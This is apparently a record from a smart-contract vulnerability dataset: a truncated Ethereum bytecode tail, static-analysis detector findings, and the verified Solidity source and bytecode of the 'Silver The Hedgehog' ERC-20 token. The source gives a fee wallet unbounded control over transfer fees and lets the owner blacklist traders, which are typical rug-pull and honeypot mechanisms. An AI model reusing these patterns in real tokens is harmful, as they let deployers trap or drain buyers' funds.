15156116b357600080fd5b5060009050805b84518110156118055760008482815181106116d157fe5b9060200190602002015111801561170557508481815181106116ef57fe5b90602001906020020151600160a060020a031615155b80156117455750600b600086838151811061171c57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561178a5750600c600086838151811061175c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561179557600080fd5b6117bf6305f5e1008583815181106117a957fe5b906020019060200201519063ffffffff611fde16565b8482815181106117cb57fe5b602090810290910101526117fb8482815181106117e457fe5b90602001906020020151839063ffffffff611fcf16565b91506001016116ba565b600160a060020a0333166000908152600960205260409020548290101561182b57600080fd5b5060005b84518110156111885761186184828151811061184757fe5b90602001906020020151600960008885815181106110d257fe5b6009600087848151811061187157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118a157fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528684815181106118d957fe5b9060200190602002015160405190815260200160405180910390a360010161182f565b6001546000908190819033600160a060020a0390811691161461191e57600080fd5b60008551118015611930575083518551145b151561193b57600080fd5b5060009050805b8451811015611ba157600084828151811061195957fe5b9060200190602002015111801561198d575084818151811061197757fe5b90602001906020020151600160a060020a031615155b80156119cd5750600b60008683815181106119a457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a125750600c60008683815181106119e457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a1d57600080fd5b611a316305f5e1008583815181106117a957fe5b848281518110611a3d57fe5b60209081029091010152838181518110611a5357fe5b9060200190602002015160096000878481518110611a6d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a9c57600080fd5b611af5848281518110611aab57fe5b9060200190602002015160096000888581518110611ac557fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fbd16565b60096000878481518110611b0557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b388482815181106117e457fe5b915033600160a060020a0316858281518110611b5057fe5b90602001906020020151600160a060020a031660008051602061240a833981519152868481518110611b7e57fe5b9060200190602002015160405190815260200160405180910390a3600101611942565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fcf16565b60015433600160a060020a03908116911614611be557600080fd5b600160a060020a0381161515611bfa57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c8f5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611cb45750600160a060020a0385166000908152600b602052604090205460ff16155b8015611cd75750600160a060020a0333166000908152600c602052604090205442115b8015611cfa5750600160a060020a0385166000908152600c602052604090205442115b1515611d0557600080fd5b611d0e85612009565b15611fa757600160a060020a03331660009081526009602052604090205484901015611d3957600080fd5b600160a060020a033316600090815260096020526040902054611d62908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611d97908563ffffffff611fcf16565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b60208310611de55780518252601f199092019160209182019101611dc6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e76578082015183820152602001611e5e565b50505050905090810190601f168015611ea35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ec757fe5b826040518082805190602001908083835b60208310611ef75780518252601f199092019160209182019101611ed8565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001611fb5565b611fb2858585612274565b90505b949350505050565b600082821115611fc957fe5b50900390565b600082820183811015610c3857fe5b600080831515611ff15760009150611404565b5082820282848281151561200157fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526009602052604081205481908490101561203957600080fd5b600160a060020a033316600090815260096020526040902054612062908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612097908563ffffffff611fcf16565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612130578082015183820152602001612118565b50505050905090810190601f16801561215d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561217d57600080fd5b6102c65a03f1151561218e57600080fd5b505050826040518082805190602001908083835b602083106121c15780518252601f1990920191602091820191016121a2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600960205260408120548390101561229a57600080fd5b600160a060020a0333166000908152600960205260409020546122c3908463ffffffff611fbd16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546122f8908463ffffffff611fcf16565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b602083106123455780518252601f199092019160209182019101612326565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061240a8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203a52422babb366ca5fce33d2d1060e35cb6a8011f130446554780e64cee113e70029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,690
0x440c103d2bc66dea6ce7f56c4e093b3c56ba17f0
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ /** * * https://t.me/silverthehedgehogETH **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SilverTheHedgehog is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x8209085F26B7FBc5dd751F8Ff97538778F9a7A75); address payable private _feeAddrWallet2 = payable(0xFba8Ce1fD688b630012D80907de2173d7142e5c3); string private constant _name = "Silver The Hedgehog"; string private constant _symbol = "SILVER"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280601381526020017f53696c76657220546865204865646765686f6700000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f53494c5645520000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94